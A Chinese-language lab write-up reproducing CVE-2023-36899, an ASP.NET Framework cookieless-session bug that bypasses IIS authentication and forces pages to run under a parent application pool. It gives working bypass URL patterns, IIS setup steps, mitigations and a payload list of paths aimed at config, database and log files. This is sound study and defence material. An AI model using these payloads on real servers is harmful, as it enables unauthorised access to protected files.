CVE-2023-36899漏洞的复现环境和工具,针对ASP.NET框架中的无cookie会话身份验证绕过。
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
在现代的Web开发中,尽管cookies是传输会话ID的首选方法,但.NET Framework也提供了一种替代方法:直接在URL中编码会话ID。这种技术被称为.NET Framework中的“无cookie”特性。许多开发者和安全测试人员忽视了这个选项,因为在实际应用中很少见。然而,这已经成为发现客户端漏洞的宝藏,如会话固定、会话劫持、HTML注入和跨站脚本。此外,这个特性可以被利用来绕过那些没有配置识别无cookie方法的基于路径的防火墙规则。由于固有的安全问题,.NET Core和后续的.NET版本都省略了无cookie特性。但我们不能忘记仍在使用经典.NET Framework的大量Web应用程序。
关键点:
- .NET Framework的无cookie特性可以被滥用,以访问受保护的目录或被IIS的URL过滤器阻止的目录。
- 通过使用无cookie特性,可以绕过IIS的认证或过滤检查。
- 另一个问题涉及IIS如何管理应用程序池,可能导致权限升级或安全绕过。
- 通过.NET Framework的无cookie特性,可以迫使IIS应用程序使用其父应用程序池而不是自己的应用程序池运行。
.NET Framework的无cookie特性可以被滥用来访问受保护的目录或被IIS的URL过滤器阻止的目录。例如,考虑victim.com网站上的以下情况:
- 位于/protected/目录中的页面:/webform/protected/target1.aspx,该目录强制进行基本认证。
- 被临时移动到/bin/文件夹的页面:/webform/bin/target2.aspx,使其无法访问。
正常情况下,通过这些URL访问页面会在IIS中被阻止:
但是,可以利用无cookie特性通过以下模式访问这些页面:
- http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
- http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx
IIS如何管理应用程序池可能导致权限升级或安全绕过。可以操纵.NET Framework的无cookie特性,迫使IIS应用程序使用其父应用程序池而不是自己的应用程序池运行。 例如:
- 网站的根(/)使用DefaultAppPool应用程序池运行。
- /classic/应用程序使用.NET v4.5 Classic应用程序池。
- /classic/nodotnet/应用程序使用NoManagedCodeClassic应用程序池,它不支持托管代码。
一个名为AppPoolPrint.aspx的C#文件可以在上述所有应用程序中访问,显示当前的应用程序池名称。 通过使用无cookie特性两次,我们可以使用其父应用程序池运行此页面:
- /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
- /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
- /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic
这允许即使在/classic/nodotnet/中的页面(不应执行托管代码)也可以使用其父应用程序池运行ASPX页面。这种行为可能导致在IIS上的权限升级。
- 操作系统: 安装一个Windows Server版本,例如Windows Server 2016或2019。
- Web服务器: 安装Internet Information Services (IIS)。
- 开发框架: 安装.NET Framework(不是.NET Core或.NET 5+)。
安装IIS的时候选择
- Web服务器:
- 常用HTTP功能:
- 静态内容
- 默认文档
- 目录浏览
- HTTP错误
- 应用程序开发:
- .NET Extensibility (对应你的.NET Framework版本:4.5)
- ASP.NET (对应你的.NET Framework版本: 4.5)
- ISAPI扩展
- ISAPI筛选器
- 常用HTTP功能:
- 健康和诊断:
- HTTP日志记录
- 请求监视
- 日志工具
- 安全性:
- 请求筛选
- 基本身份验证
- Windows身份验证
- 打开IIS管理器。
- 创建一个新的Web站点。
- 在新站点中,创建几个目录,例如/webform, /webform/protected, 和/webform/bin。
- 在/protected/目录中,设置基本认证。
- 将/webform/bin/target.aspx页面移动到/bin/文件夹,使其无法直接访问。 (bin目录iis默认不让访问,因为涉及敏感的编译好的程序)
- 在/webform/protected/目录中,创建一个名为target.aspx的页面。
- 在/webform/bin/目录中,创建一个名为target.aspx的页面。
- 在每个应用程序中,创建一个名为AppPoolPrint.aspx的页面,该页面可以显示当前的应用程序池名称。
target.aspx 文件测试内容:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
根目录下 web.config文件测试内容:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
其中意味着网站使用Cookie来存储一些默认session信息等,默认也是这个
- 尝试直接访问/webform/protected/target.aspx和/webform/bin/target.aspx页面。你应该会被阻止或要求进行身份验证。
使用http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx 成功访问
- 使用无cookie特性尝试访问这些页面,例如:
- 将 /S(X)) 特征在WAF上进行阻断
- 服务器上安装相应补丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899
可能存在的payload list:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899